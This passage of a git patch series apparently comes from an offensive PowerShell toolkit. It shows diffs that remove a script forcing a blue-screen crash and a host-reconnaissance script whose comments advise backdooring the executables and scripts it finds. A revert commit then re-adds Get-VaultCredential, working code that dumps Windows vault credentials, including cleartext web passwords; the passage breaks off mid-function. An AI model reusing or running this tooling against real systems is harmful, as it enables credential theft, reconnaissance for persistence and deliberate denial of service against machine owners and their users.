-.EXAMPLE - -Set-CriticalProcess -ExitImmediately - -.EXAMPLE - -Set-CriticalProcess -Force -Verbose - -#> - - [CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'High')] Param ( - [Switch] - $Force, - - [Switch] - $ExitImmediately - ) - - if (-not ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) - { - throw 'You must run Set-CriticalProcess from an elevated PowerShell prompt.' - } - - $Response = $True - - if (!$Force) - { - $Response = $psCmdlet.ShouldContinue('Have you saved all your work?', 'The machine will blue screen when you exit PowerShell.') - } - - if (!$Response) - { - return - } - - $DynAssembly = New-Object System.Reflection.AssemblyName('BlueScreen') - $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) - $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('BlueScreen', $False) - - # Define [ntdll]::NtQuerySystemInformation method - $TypeBuilder = $ModuleBuilder.DefineType('BlueScreen.Win32.ntdll', 'Public, Class') - $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('NtSetInformationProcess', - 'ntdll.dll', - ([Reflection.MethodAttributes] 'Public, Static'), - [Reflection.CallingConventions]::Standard, - [Int32], - [Type[]] @([IntPtr], [UInt32], [IntPtr].MakeByRefType(), [UInt32]), - [Runtime.InteropServices.CallingConvention]::Winapi, - [Runtime.InteropServices.CharSet]::Auto) - - $ntdll = $TypeBuilder.CreateType() - - $ProcHandle = [Diagnostics.Process]::GetCurrentProcess().Handle - $ReturnPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(4) - - $ProcessBreakOnTermination = 29 - $SizeUInt32 = 4 - - try - { - $null = $ntdll::NtSetInformationProcess($ProcHandle, $ProcessBreakOnTermination, [Ref] $ReturnPtr, $SizeUInt32) - } - catch - { - return - } - - Write-Verbose 'PowerShell is now marked as a critical process and will blue screen the machine upon exiting the process.' - - if ($ExitImmediately) - { - Stop-Process -Id $PID - } -} \ No newline at end of file diff --git a/Recon/Get-ComputerDetails.ps1 b/Recon/Get-ComputerDetails.ps1 index 63ac1cb6..e69de29b 100644 --- a/Recon/Get-ComputerDetails.ps1 +++ b/Recon/Get-ComputerDetails.ps1 @@ -1,580 +0,0 @@ -function Get-ComputerDetails -{ -<# -.SYNOPSIS - -This script is used to get useful information from a computer. - -Function: Get-ComputerDetails -Author: Joe Bialek, Twitter: @JosephBialek -Required Dependencies: None -Optional Dependencies: None -Version: 1.1 - -.DESCRIPTION - -This script is used to get useful information from a computer. Currently, the script gets the following information: --Explicit Credential Logons (Event ID 4648) --Logon events (Event ID 4624) --AppLocker logs to find what processes are created --PowerShell logs to find PowerShell scripts which have been executed --RDP Client Saved Servers, which indicates what servers the user typically RDP's in to - -.PARAMETER ToString - -Switch: Outputs the data as text instead of objects, good if you are using this script through a backdoor. - -.EXAMPLE - -Get-ComputerDetails -Gets information about the computer and outputs it as PowerShell objects. - -Get-ComputerDetails -ToString -Gets information about the computer and outputs it as raw text. - -.NOTES -This script is useful for fingerprinting a server to see who connects to this server (from where), and where users on this server connect to. -You can also use it to find Powershell scripts and executables which are typically run, and then use this to backdoor those files. - -.LINK - -Blog: http://clymb3r.wordpress.com/ -Github repo: https://github.com/clymb3r/PowerShell - -#> - - Param( - [Parameter(Position=0)] - [Switch] - $ToString - ) - - Set-StrictMode -Version 2 - - - - $SecurityLog = Get-EventLog -LogName Security - $Filtered4624 = Find-4624Logons $SecurityLog - $Filtered4648 = Find-4648Logons $SecurityLog - $AppLockerLogs = Find-AppLockerLogs - $PSLogs = Find-PSScriptsInPSAppLog - $RdpClientData = Find-RDPClientConnections - - if ($ToString) - { - Write-Output "Event ID 4624 (Logon):" - Write-Output $Filtered4624.Values | Format-List - Write-Output "Event ID 4648 (Explicit Credential Logon):" - Write-Output $Filtered4648.Values | Format-List - Write-Output "AppLocker Process Starts:" - Write-Output $AppLockerLogs.Values | Format-List - Write-Output "PowerShell Script Executions:" - Write-Output $PSLogs.Values | Format-List - Write-Output "RDP Client Data:" - Write-Output $RdpClientData.Values | Format-List - } - else - { - $Properties = @{ - LogonEvent4624 = $Filtered4624.Values - LogonEvent4648 = $Filtered4648.Values - AppLockerProcessStart = $AppLockerLogs.Values - PowerShellScriptStart = $PSLogs.Values - RdpClientData = $RdpClientData.Values - } - - $ReturnObj = New-Object PSObject -Property $Properties - return $ReturnObj - } -} - - -function Find-4648Logons -{ -<# -.SYNOPSIS - -Retrieve the unique 4648 logon events. This will often find cases where a user is using remote desktop to connect to another computer. It will give the -the account that RDP was launched with and the account name of the account being used to connect to the remote computer. This is useful -for identifying normal authenticaiton patterns. Other actions that will trigger this include any runas action. - -Function: Find-4648Logons -Author: Joe Bialek, Twitter: @JosephBialek -Required Dependencies: None -Optional Dependencies: None -Version: 1.1 - -.DESCRIPTION - -Retrieve the unique 4648 logon events. This will often find cases where a user is using remote desktop to connect to another computer. It will give the -the account that RDP was launched with and the account name of the account being used to connect to the remote computer. This is useful -for identifying normal authenticaiton patterns. Other actions that will trigger this include any runas action. - -.EXAMPLE - -Find-4648Logons -Gets the unique 4648 logon events. - -.NOTES - -.LINK - -Blog: http://clymb3r.wordpress.com/ -Github repo: https://github.com/clymb3r/PowerShell -#> - Param( - $SecurityLog - ) - - $ExplicitLogons = $SecurityLog | Where {$_.InstanceID -eq 4648} - $ReturnInfo = @{} - - foreach ($ExplicitLogon in $ExplicitLogons) - { - $Subject = $false - $AccountWhosCredsUsed = $false - $TargetServer = $false - $SourceAccountName = "" - $SourceAccountDomain = "" - $TargetAccountName = "" - $TargetAccountDomain = "" - $TargetServer = "" - foreach ($line in $ExplicitLogon.Message -split "\r\n") - { - if ($line -cmatch "^Subject:$") - { - $Subject = $true - } - elseif ($line -cmatch "^Account\sWhose\sCredentials\sWere\sUsed:$") - { - $Subject = $false - $AccountWhosCredsUsed = $true - } - elseif ($line -cmatch "^Target\sServer:") - { - $AccountWhosCredsUsed = $false - $TargetServer = $true - } - elseif ($Subject -eq $true) - { - if ($line -cmatch "\s+Account\sName:\s+(\S.*)") - { - $SourceAccountName = $Matches[1] - } - elseif ($line -cmatch "\s+Account\sDomain:\s+(\S.*)") - { - $SourceAccountDomain = $Matches[1] - } - } - elseif ($AccountWhosCredsUsed -eq $true) - { - if ($line -cmatch "\s+Account\sName:\s+(\S.*)") - { - $TargetAccountName = $Matches[1] - } - elseif ($line -cmatch "\s+Account\sDomain:\s+(\S.*)") - { - $TargetAccountDomain = $Matches[1] - } - } - elseif ($TargetServer -eq $true) - { - if ($line -cmatch "\s+Target\sServer\sName:\s+(\S.*)") - { - $TargetServer = $Matches[1] - } - } - } - - #Filter out logins that don't matter - if (-not ($TargetAccountName -cmatch "^DWM-.*" -and $TargetAccountDomain -cmatch "^Window\sManager$")) - { - $Key = $SourceAccountName + $SourceAccountDomain + $TargetAccountName + $TargetAccountDomain + $TargetServer - if (-not $ReturnInfo.ContainsKey($Key)) - { - $Properties = @{ - LogType = 4648 - LogSource = "Security" - SourceAccountName = $SourceAccountName - SourceDomainName = $SourceAccountDomain - TargetAccountName = $TargetAccountName - TargetDomainName = $TargetAccountDomain - TargetServer = $TargetServer - Count = 1 - Times = @($ExplicitLogon.TimeGenerated) - } - - $ResultObj = New-Object PSObject -Property $Properties - $ReturnInfo.Add($Key, $ResultObj) - } - else - { - $ReturnInfo[$Key].Count++ - $ReturnInfo[$Key].Times += ,$ExplicitLogon.TimeGenerated - } - } - } - - return $ReturnInfo -} - -function Find-4624Logons -{ -<# -.SYNOPSIS - -Find all unique 4624 Logon events to the server. This will tell you who is logging in and how. You can use this to figure out what accounts do -network logons in to the server, what accounts RDP in, what accounts log in locally, etc... - -Function: Find-4624Logons -Author: Joe Bialek, Twitter: @JosephBialek -Required Dependencies: None -Optional Dependencies: None -Version: 1.1 - -.DESCRIPTION - -Find all unique 4624 Logon events to the server. This will tell you who is logging in and how. You can use this to figure out what accounts do -network logons in to the server, what accounts RDP in, what accounts log in locally, etc... - -.EXAMPLE - -Find-4624Logons -Find unique 4624 logon events. - -.NOTES - -.LINK - -Blog: http://clymb3r.wordpress.com/ -Github repo: https://github.com/clymb3r/PowerShell -#> - Param ( - $SecurityLog - ) - - $Logons = $SecurityLog | Where {$_.InstanceID -eq 4624} - $ReturnInfo = @{} - - foreach ($Logon in $Logons) - { - $SubjectSection = $false - $NewLogonSection = $false - $NetworkInformationSection = $false - $AccountName = "" - $AccountDomain = "" - $LogonType = "" - $NewLogonAccountName = "" - $NewLogonAccountDomain = "" - $WorkstationName = "" - $SourceNetworkAddress = "" - $SourcePort = "" - - foreach ($line in $Logon.Message -Split "\r\n") - { - if ($line -cmatch "^Subject:$") - { - $SubjectSection = $true - } - elseif ($line -cmatch "^Logon\sType:\s+(\S.*)") - { - $LogonType = $Matches[1] - } - elseif ($line -cmatch "^New\sLogon:$") - { - $SubjectSection = $false - $NewLogonSection = $true - } - elseif ($line -cmatch "^Network\sInformation:$") - { - $NewLogonSection = $false - $NetworkInformationSection = $true - } - elseif ($SubjectSection) - { - if ($line -cmatch "^\s+Account\sName:\s+(\S.*)") - { - $AccountName = $Matches[1] - } - elseif ($line -cmatch "^\s+Account\sDomain:\s+(\S.*)") - { - $AccountDomain = $Matches[1] - } - } - elseif ($NewLogonSection) - { - if ($line -cmatch "^\s+Account\sName:\s+(\S.*)") - { - $NewLogonAccountName = $Matches[1] - } - elseif ($line -cmatch "^\s+Account\sDomain:\s+(\S.*)") - { - $NewLogonAccountDomain = $Matches[1] - } - } - elseif ($NetworkInformationSection) - { - if ($line -cmatch "^\s+Workstation\sName:\s+(\S.*)") - { - $WorkstationName = $Matches[1] - } - elseif ($line -cmatch "^\s+Source\sNetwork\sAddress:\s+(\S.*)") - { - $SourceNetworkAddress = $Matches[1] - } - elseif ($line -cmatch "^\s+Source\sPort:\s+(\S.*)") - { - $SourcePort = $Matches[1] - } - } - } - - #Filter out logins that don't matter - if (-not ($NewLogonAccountDomain -cmatch "NT\sAUTHORITY" -or $NewLogonAccountDomain -cmatch "Window\sManager")) - { - $Key = $AccountName + $AccountDomain + $NewLogonAccountName + $NewLogonAccountDomain + $LogonType + $WorkstationName + $SourceNetworkAddress + $SourcePort - if (-not $ReturnInfo.ContainsKey($Key)) - { - $Properties = @{ - LogType = 4624 - LogSource = "Security" - SourceAccountName = $AccountName - SourceDomainName = $AccountDomain - NewLogonAccountName = $NewLogonAccountName - NewLogonAccountDomain = $NewLogonAccountDomain - LogonType = $LogonType - WorkstationName = $WorkstationName - SourceNetworkAddress = $SourceNetworkAddress - SourcePort = $SourcePort - Count = 1 - Times = @($Logon.TimeGenerated) - } - - $ResultObj = New-Object PSObject -Property $Properties - $ReturnInfo.Add($Key, $ResultObj) - } - else - { - $ReturnInfo[$Key].Count++ - $ReturnInfo[$Key].Times += ,$Logon.TimeGenerated - } - } - } - - return $ReturnInfo -} - - -function Find-AppLockerLogs -{ -<# -.SYNOPSIS - -Look through the AppLocker logs to find processes that get run on the server. You can then backdoor these exe's (or figure out what they normally run). - -Function: Find-AppLockerLogs -Author: Joe Bialek, Twitter: @JosephBialek -Required Dependencies: None -Optional Dependencies: None -Version: 1.1 - -.DESCRIPTION - -Look through the AppLocker logs to find processes that get run on the server. You can then backdoor these exe's (or figure out what they normally run). - -.EXAMPLE - -Find-AppLockerLogs -Find process creations from AppLocker logs. - -.NOTES - -.LINK - -Blog: http://clymb3r.wordpress.com/ -Github repo: https://github.com/clymb3r/PowerShell -#> - $ReturnInfo = @{} - - $AppLockerLogs = Get-WinEvent -LogName "Microsoft-Windows-AppLocker/EXE and DLL" -ErrorAction SilentlyContinue | Where {$_.Id -eq 8002} - - foreach ($Log in $AppLockerLogs) - { - $SID = New-Object System.Security.Principal.SecurityIdentifier($Log.Properties[7].Value) - $UserName = $SID.Translate( [System.Security.Principal.NTAccount]) - - $ExeName = $Log.Properties[10].Value - - $Key = $UserName.ToString() + "::::" + $ExeName - - if (!$ReturnInfo.ContainsKey($Key)) - { - $Properties = @{ - Exe = $ExeName - User = $UserName.Value - Count = 1 - Times = @($Log.TimeCreated) - } - - $Item = New-Object PSObject -Property $Properties - $ReturnInfo.Add($Key, $Item) - } - else - { - $ReturnInfo[$Key].Count++ - $ReturnInfo[$Key].Times += ,$Log.TimeCreated - } - } - - return $ReturnInfo -} - - -Function Find-PSScriptsInPSAppLog -{ -<# -.SYNOPSIS - -Go through the PowerShell operational log to find scripts that run (by looking for ExecutionPipeline logs eventID 4100 in PowerShell app log). -You can then backdoor these scripts or do other malicious things. - -Function: Find-AppLockerLogs -Author: Joe Bialek, Twitter: @JosephBialek -Required Dependencies: None -Optional Dependencies: None -Version: 1.1 - -.DESCRIPTION - -Go through the PowerShell operational log to find scripts that run (by looking for ExecutionPipeline logs eventID 4100 in PowerShell app log). -You can then backdoor these scripts or do other malicious things. - -.EXAMPLE - -Find-PSScriptsInPSAppLog -Find unique PowerShell scripts being executed from the PowerShell operational log. - -.NOTES - -.LINK - -Blog: http://clymb3r.wordpress.com/ -Github repo: https://github.com/clymb3r/PowerShell -#> - $ReturnInfo = @{} - $Logs = Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" -ErrorAction SilentlyContinue | Where {$_.Id -eq 4100} - - foreach ($Log in $Logs) - { - $ContainsScriptName = $false - $LogDetails = $Log.Message -split "`r`n" - - $FoundScriptName = $false - foreach($Line in $LogDetails) - { - if ($Line -imatch "^\s*Script\sName\s=\s(.+)") - { - $ScriptName = $Matches[1] - $FoundScriptName = $true - } - elseif ($Line -imatch "^\s*User\s=\s(.*)") - { - $User = $Matches[1] - } - } - - if ($FoundScriptName) - { - $Key = $ScriptName + "::::" + $User - - if (!$ReturnInfo.ContainsKey($Key)) - { - $Properties = @{ - ScriptName = $ScriptName - UserName = $User - Count = 1 - Times = @($Log.TimeCreated) - } - - $Item = New-Object PSObject -Property $Properties - $ReturnInfo.Add($Key, $Item) - } - else - { - $ReturnInfo[$Key].Count++ - $ReturnInfo[$Key].Times += ,$Log.TimeCreated - } - } - } - - return $ReturnInfo -} - - -Function Find-RDPClientConnections -{ -<# -.SYNOPSIS - -Search the registry to find saved RDP client connections. This shows you what connections an RDP client has remembered, indicating what servers the user -usually RDP's to. - -Function: Find-RDPClientConnections -Author: Joe Bialek, Twitter: @JosephBialek -Required Dependencies: None -Optional Dependencies: None -Version: 1.1 - -.DESCRIPTION - -Search the registry to find saved RDP client connections. This shows you what connections an RDP client has remembered, indicating what servers the user -usually RDP's to. - -.EXAMPLE - -Find-RDPClientConnections -Find unique saved RDP client connections. - -.NOTES - -.LINK - -Blog: http://clymb3r.wordpress.com/ -Github repo: https://github.com/clymb3r/PowerShell -#> - $ReturnInfo = @{} - - New-PSDrive -Name HKU -PSProvider Registry -Root Registry::HKEY_USERS | Out-Null - - #Attempt to enumerate the servers for all users - $Users = Get-ChildItem -Path "HKU:\" - foreach ($UserSid in $Users.PSChildName) - { - $Servers = Get-ChildItem "HKU:\$($UserSid)\Software\Microsoft\Terminal Server Client\Servers" -ErrorAction SilentlyContinue - - foreach ($Server in $Servers) - { - $Server = $Server.PSChildName - $UsernameHint = (Get-ItemProperty -Path "HKU:\$($UserSid)\Software\Microsoft\Terminal Server Client\Servers\$($Server)").UsernameHint - - $Key = $UserSid + "::::" + $Server + "::::" + $UsernameHint - - if (!$ReturnInfo.ContainsKey($Key)) - { - $SIDObj = New-Object System.Security.Principal.SecurityIdentifier($UserSid) - $User = ($SIDObj.Translate([System.Security.Principal.NTAccount])).Value - - $Properties = @{ - CurrentUser = $User - Server = $Server - UsernameHint = $UsernameHint - } - - $Item = New-Object PSObject -Property $Properties - $ReturnInfo.Add($Key, $Item) - } - } - } - - return $ReturnInfo -} \ No newline at end of file From 2dd1f5920d08d877628154bcbe8c2a93f2b835af Mon Sep 17 00:00:00 2001 From: Matt Graeber Date: Wed, 4 Nov 2015 13:41:36 -0500 Subject: [PATCH 026/296] Revert "Normalizing all files to ascii encoding" This reverts commit 5a812ce82361bf65443fc9c545c091e21e98fe80. --- .gitattributes | 63 --- .gitignore | 2 - Exfiltration/Get-VaultCredential.ps1 | 401 +++++++++++++++++ Exfiltration/VolumeShadowCopyTools.ps1 | 292 +++++++++++++ Mayhem/Mayhem.psd1 | 87 ++++ Mayhem/Mayhem.psm1 | 366 ++++++++++++++++ Recon/Get-ComputerDetails.ps1 | 580 +++++++++++++++++++++++++ 7 files changed, 1726 insertions(+), 65 deletions(-) delete mode 100644 .gitattributes diff --git a/.gitattributes b/.gitattributes deleted file mode 100644 index 1ff0c423..00000000 --- a/.gitattributes +++ /dev/null @@ -1,63 +0,0 @@ -############################################################################### -# Set default behavior to automatically normalize line endings. -############################################################################### -* text=auto - -############################################################################### -# Set default behavior for command prompt diff. -# -# This is need for earlier builds of msysgit that does not have it on by -# default for csharp files. -# Note: This is only used by command line -############################################################################### -#*.cs diff=csharp - -############################################################################### -# Set the merge driver for project and solution files -# -# Merging from the command prompt will add diff markers to the files if there -# are conflicts (Merging from VS is not affected by the settings below, in VS -# the diff markers are never inserted). Diff markers may cause the following -# file extensions to fail to load in VS. An alternative would be to treat -# these files as binary and thus will always conflict and require user -# intervention with every merge. To do so, just uncomment the entries below -############################################################################### -#*.sln merge=binary -#*.csproj merge=binary -#*.vbproj merge=binary -#*.vcxproj merge=binary -#*.vcproj merge=binary -#*.dbproj merge=binary -#*.fsproj merge=binary -#*.lsproj merge=binary -#*.wixproj merge=binary -#*.modelproj merge=binary -#*.sqlproj merge=binary -#*.wwaproj merge=binary - -############################################################################### -# behavior for image files -# -# image files are treated as binary by default. -############################################################################### -#*.jpg binary -#*.png binary -#*.gif binary - -############################################################################### -# diff behavior for common document formats -# -# Convert binary document formats to text before diffing them. This feature -# is only available from the command line. Turn it on by uncommenting the -# entries below. -############################################################################### -#*.doc diff=astextplain -#*.DOC diff=astextplain -#*.docx diff=astextplain -#*.DOCX diff=astextplain -#*.dot diff=astextplain -#*.DOT diff=astextplain -#*.pdf diff=astextplain -#*.PDF diff=astextplain -#*.rtf diff=astextplain -#*.RTF diff=astextplain diff --git a/.gitignore b/.gitignore index 071cc438..e15a72de 100644 --- a/.gitignore +++ b/.gitignore @@ -212,5 +212,3 @@ pip-log.txt #Mr Developer .mr.developer.cfg -*.pssproj -*.sln diff --git a/Exfiltration/Get-VaultCredential.ps1 b/Exfiltration/Get-VaultCredential.ps1 index e69de29b..c830fa22 100644 --- a/Exfiltration/Get-VaultCredential.ps1 +++ b/Exfiltration/Get-VaultCredential.ps1 @@ -0,0 +1,401 @@ +function Get-VaultCredential +{ +<# +.SYNOPSIS + +Displays Windows vault credential objects including cleartext web credentials. + +PowerSploit Function: Get-VaultCredential +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Get-VaultCredential enumerates and displays all credentials stored in the Windows +vault. Web credentials, specifically are displayed in cleartext. This script was +inspired by the following C implementation: http://www.oxid.it/downloads/vaultdump.txt + +.EXAMPLE + +Get-VaultCredential + +.NOTES + +Only web credentials can be displayed in cleartext. +#> + [CmdletBinding()] Param() + + $OSVersion = [Environment]::OSVersion.Version + $OSMajor = $OSVersion.Major + $OSMinor = $OSVersion.Minor + + #region P/Invoke declarations for vaultcli.dll + $DynAssembly = New-Object System.Reflection.AssemblyName('VaultUtil') + $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('VaultUtil', $False) + + $EnumBuilder = $ModuleBuilder.DefineEnum('VaultLib.VAULT_ELEMENT_TYPE', 'Public', [Int32]) + $null = $EnumBuilder.DefineLiteral('Undefined', -1) + $null = $EnumBuilder.DefineLiteral('Boolean', 0) + $null = $EnumBuilder.DefineLiteral('Short', 1) + $null = $EnumBuilder.DefineLiteral('UnsignedShort', 2) + $null = $EnumBuilder.DefineLiteral('Int', 3) + $null = $EnumBuilder.DefineLiteral('UnsignedInt', 4) + $null = $EnumBuilder.DefineLiteral('Double', 5) + $null = $EnumBuilder.DefineLiteral('Guid', 6) + $null = $EnumBuilder.DefineLiteral('String', 7) + $null = $EnumBuilder.DefineLiteral('ByteArray', 8) + $null = $EnumBuilder.DefineLiteral('TimeStamp', 9) + $null = $EnumBuilder.DefineLiteral('ProtectedArray', 10) + $null = $EnumBuilder.DefineLiteral('Attribute', 11) + $null = $EnumBuilder.DefineLiteral('Sid', 12) + $null = $EnumBuilder.DefineLiteral('Last', 13) + $VAULT_ELEMENT_TYPE = $EnumBuilder.CreateType() + + $EnumBuilder = $ModuleBuilder.DefineEnum('VaultLib.VAULT_SCHEMA_ELEMENT_ID', 'Public', [Int32]) + $null = $EnumBuilder.DefineLiteral('Illegal', 0) + $null = $EnumBuilder.DefineLiteral('Resource', 1) + $null = $EnumBuilder.DefineLiteral('Identity', 2) + $null = $EnumBuilder.DefineLiteral('Authenticator', 3) + $null = $EnumBuilder.DefineLiteral('Tag', 4) + $null = $EnumBuilder.DefineLiteral('PackageSid', 5) + $null = $EnumBuilder.DefineLiteral('AppStart', 100) + $null = $EnumBuilder.DefineLiteral('AppEnd', 10000) + $VAULT_SCHEMA_ELEMENT_ID = $EnumBuilder.CreateType() + + $LayoutConstructor = [Runtime.InteropServices.StructLayoutAttribute].GetConstructor([Runtime.InteropServices.LayoutKind]) + $CharsetField = [Runtime.InteropServices.StructLayoutAttribute].GetField('CharSet') + $StructLayoutCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($LayoutConstructor, + @([Runtime.InteropServices.LayoutKind]::Explicit), + $CharsetField, + @([Runtime.InteropServices.CharSet]::Ansi)) + $StructAttributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + + $TypeBuilder = $ModuleBuilder.DefineType('VaultLib.VAULT_ITEM', $StructAttributes, [Object], [System.Reflection.Emit.PackingSize]::Size4) + $null = $TypeBuilder.DefineField('SchemaId', [Guid], 'Public') + $null = $TypeBuilder.DefineField('pszCredentialFriendlyName', [IntPtr], 'Public') + $null = $TypeBuilder.DefineField('pResourceElement', [IntPtr], 'Public') + $null = $TypeBuilder.DefineField('pIdentityElement', [IntPtr], 'Public') + $null = $TypeBuilder.DefineField('pAuthenticatorElement', [IntPtr], 'Public') + if ($OSMajor -ge 6 -and $OSMinor -ge 2) + { + $null = $TypeBuilder.DefineField('pPackageSid', [IntPtr], 'Public') + } + $null = $TypeBuilder.DefineField('LastModified', [UInt64], 'Public') + $null = $TypeBuilder.DefineField('dwFlags', [UInt32], 'Public') + $null = $TypeBuilder.DefineField('dwPropertiesCount', [UInt32], 'Public') + $null = $TypeBuilder.DefineField('pPropertyElements', [IntPtr], 'Public') + $VAULT_ITEM = $TypeBuilder.CreateType() + + $TypeBuilder = $ModuleBuilder.DefineType('VaultLib.VAULT_ITEM_ELEMENT', $StructAttributes) + $TypeBuilder.SetCustomAttribute($StructLayoutCustomAttribute) + $null = $TypeBuilder.DefineField('SchemaElementId', $VAULT_SCHEMA_ELEMENT_ID, 'Public').SetOffset(0) + $null = $TypeBuilder.DefineField('Type', $VAULT_ELEMENT_TYPE, 'Public').SetOffset(8) + $VAULT_ITEM_ELEMENT = $TypeBuilder.CreateType() + + + $TypeBuilder = $ModuleBuilder.DefineType('VaultLib.Vaultcli', 'Public, Class') + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultOpenVault', + 'vaultcli.dll', + 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Int32], + [Type[]] @([Guid].MakeByRefType(), + [UInt32], + [IntPtr].MakeByRefType()), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Auto) + + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultCloseVault', + 'vaultcli.dll', + 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Int32], + [Type[]] @([IntPtr].MakeByRefType()), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Auto) + + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultFree', + 'vaultcli.dll', + 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Int32], + [Type[]] @([IntPtr]), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Auto) + + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultEnumerateVaults', + 'vaultcli.dll', + 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Int32], + [Type[]] @([Int32], + [Int32].MakeByRefType(), + [IntPtr].MakeByRefType()), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Auto) + + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultEnumerateItems', + 'vaultcli.dll', + 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Int32], + [Type[]] @([IntPtr], + [Int32], + [Int32].MakeByRefType(), + [IntPtr].MakeByRefType()), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Auto) + + if ($OSMajor -ge 6 -and $OSMinor -ge 2) + { + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultGetItem', + 'vaultcli.dll', + 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Int32], + [Type[]] @([IntPtr], + [Guid].MakeByRefType(), + [IntPtr], + [IntPtr], + [IntPtr], + [IntPtr], + [Int32], + [IntPtr].MakeByRefType()), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Auto) + } + else + { + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultGetItem', + 'vaultcli.dll', + 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Int32], + [Type[]] @([IntPtr], + [Guid].MakeByRefType(), + [IntPtr], + [IntPtr], + [IntPtr], + [Int32], + [IntPtr].MakeByRefType()), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Auto) + } + + $Vaultcli = $TypeBuilder.CreateType() + #endregion + + # Helper function to extract the ItemValue field from a VAULT_ITEM_ELEMENT struct. + function local:Get-VaultElementValue + { + Param ( + [ValidateScript({$_ -ne [IntPtr]::Zero})] + [IntPtr] + $VaultElementPtr + ) + + $PartialElement = [Runtime.InteropServices.Marshal]::PtrToStructure($VaultElementPtr, [Type] $VAULT_ITEM_ELEMENT) + $ElementPtr = [IntPtr] ($VaultElementPtr.ToInt64() + 16) + + switch ($PartialElement.Type) + { + $VAULT_ELEMENT_TYPE::String { + $StringPtr = [Runtime.InteropServices.Marshal]::ReadIntPtr([IntPtr] $ElementPtr) + [Runtime.InteropServices.Marshal]::PtrToStringUni([IntPtr] $StringPtr) + } + + $VAULT_ELEMENT_TYPE::Boolean { + [Bool] [Runtime.InteropServices.Marshal]::ReadByte([IntPtr] $ElementPtr) + } + + $VAULT_ELEMENT_TYPE::Short { + [Runtime.InteropServices.Marshal]::ReadInt16([IntPtr] $ElementPtr) + } + + $VAULT_ELEMENT_TYPE::UnsignedShort { + [Runtime.InteropServices.Marshal]::ReadInt16([IntPtr] $ElementPtr) + } + + $VAULT_ELEMENT_TYPE::Int { + [Runtime.InteropServices.Marshal]::ReadInt32([IntPtr] $ElementPtr) + } + + $VAULT_ELEMENT_TYPE::UnsignedInt { + [Runtime.InteropServices.Marshal]::ReadInt32([IntPtr] $ElementPtr) + } + + $VAULT_ELEMENT_TYPE::Double { + [Runtime.InteropServices.Marshal]::PtrToStructure($ElementPtr, [Type] [Double]) + } + + $VAULT_ELEMENT_TYPE::Guid { + [Runtime.InteropServices.Marshal]::PtrToStructure($ElementPtr, [Type] [Guid]) + } + + $VAULT_ELEMENT_TYPE::Sid { + $SidPtr = [Runtime.InteropServices.Marshal]::ReadIntPtr([IntPtr] $ElementPtr) + Write-Verbose "0x$($SidPtr.ToString('X8'))" + $SidObject = [Security.Principal.SecurityIdentifier] ([IntPtr] $SidPtr) + $SidObject.Value + } + + # These elements are currently unimplemented. + # I have yet to see these used in practice. + $VAULT_ELEMENT_TYPE::ByteArray { $null } + $VAULT_ELEMENT_TYPE::TimeStamp { $null } + $VAULT_ELEMENT_TYPE::ProtectedArray { $null } + $VAULT_ELEMENT_TYPE::Attribute { $null } + $VAULT_ELEMENT_TYPE::Last { $null } + } + } + + $VaultCount = 0 + $VaultGuidPtr = [IntPtr]::Zero + $Result = $Vaultcli::VaultEnumerateVaults(0, [Ref] $VaultCount, [Ref] $VaultGuidPtr) + + if ($Result -ne 0) + { + throw "Unable to enumerate vaults. Error (0x$($Result.ToString('X8')))" + } + + $GuidAddress = $VaultGuidPtr + + $VaultSchema = @{ + ([Guid] '2F1A6504-0641-44CF-8BB5-3612D865F2E5') = 'Windows Secure Note' + ([Guid] '3CCD5499-87A8-4B10-A215-608888DD3B55') = 'Windows Web Password Credential' + ([Guid] '154E23D0-C644-4E6F-8CE6-5069272F999F') = 'Windows Credential Picker Protector' + ([Guid] '4BF4C442-9B8A-41A0-B380-DD4A704DDB28') = 'Web Credentials' + ([Guid] '77BC582B-F0A6-4E15-4E80-61736B6F3B29') = 'Windows Credentials' + ([Guid] 'E69D7838-91B5-4FC9-89D5-230D4D4CC2BC') = 'Windows Domain Certificate Credential' + ([Guid] '3E0E35BE-1B77-43E7-B873-AED901B6275B') = 'Windows Domain Password Credential' + ([Guid] '3C886FF3-2669-4AA2-A8FB-3F6759A77548') = 'Windows Extended Credential' + ([Guid] '00000000-0000-0000-0000-000000000000') = $null + } + + if ($VaultCount) + { 